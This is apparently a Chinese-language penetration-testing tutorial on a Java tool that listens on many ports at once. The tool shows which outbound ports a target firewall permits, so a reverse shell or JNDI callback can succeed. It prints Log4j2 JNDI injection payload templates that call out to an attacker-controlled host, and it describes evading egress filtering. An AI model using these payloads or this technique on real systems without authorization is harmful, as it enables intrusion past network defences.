快速探测目标防火墙出网端口的工具化实现
字数 885 2025-08-24 23:51:18
快速探测目标防火墙出网端口的工具化实现
0x01 需求场景
在攻防实战或SRC挖掘过程中,经常会遇到以下情况:
- 存在RCE漏洞想要反弹shell或进行JNDI注入时
- 只有dnslog会产生有效回连
- 自行nc监听的端口却毫无反应
这表明可能遇到了目标防火墙限制出网端口的场景。常见问题:
- 目标可能只允许特定端口出网(如80、443)
- 攻击者使用非常用端口(如8080)监听会导致反弹shell失败
- 传统解决方案是手动尝试常见端口(80、443等),但效率低下
0x02 典型场景举例
以Log4j2 RCE为例:
常见payload格式:
${jndi:ldap://dnslog地址:1389/expclass}
${jndi:rmi://dnslog地址:1099/expclass}
问题:
- LDAP和RMI默认端口(1389、1099)常被防火墙拦截
- 云厂商(如阿里云)默认只放行22、80、443等端口
- 黑盒测试时无法预知目标防火墙规则
传统解决方案的痛点:
- 需要不断手动更换nc监听端口
- 每次更换端口都需要终止并重启nc进程
- 效率低下,容易错过有效出网端口
0x03 核心实现方案
技术选型
使用Java实现多端口监听工具,主要考虑:
- 支持预定义常见端口批量监听
- 支持端口区间扫描
- 多线程并发处理
核心代码实现
基础监听代码:
InetAddress address = InetAddress.getByAddress(new byte[]{0,0,0,0});
ServerSocket serverSocket = new ServerSocket((Integer)port, backlog, address);
多线程监听实现:
public class ListenMorePortSocketServer {
private final List<Integer> portList = Arrays.asList(9088, 9089);
public void run() {
for (Integer port : portList) {
new Thread(new Runnable() {
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(port);
System.out.println("服务端开始监听端口:" + port);
while (true) {
Socket socket = serverSocket.accept();
socket.setKeepAlive(true);
int localPort = socket.getLocalPort();
System.out.println("当前请求服务器的端口号为:" + localPort);
while (!socket.isClosed()) {
InputStream is = socket.getInputStream();
byte[] bytes = new byte[1024];
is.read(bytes);
String msg = new String(bytes, "utf-8");
System.out.println("我是服务端,端口号为:" + localPort + "的客户端说:" + msg);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
}
}
0x04 工具化实现
功能特性
-
两种工作模式:
- 模式一:预判常见出网端口(如53、80、443、1521、3306等)
- 模式二:端口区间扫描(如8000-9000、50000-55000)
-
附加功能:
- 端口占用检测
- 并发监听(建议不超过2000个端口)
- 实时日志输出
使用建议
- 优先尝试模式一(常见端口)
- 若无响应再尝试模式二(端口区间)
- 关注日志输出,识别有效出网端口
- 根据VPS性能合理设置并发数
0x05 注意事项
-
性能考虑:
- 不建议同时监听超过2000个端口
- 端口区间扫描建议分批次进行
-
网络环境:
- 确保VPS防火墙规则允许监听端口
- 注意监听地址设置(避免只绑定127.0.0.1)
-
安全合规:
- 仅在授权测试中使用
- 遵守相关法律法规
参考资源
- Socket服务端同时监听多个端口号
- Java网络编程相关文档
- 各云厂商默认防火墙规则文档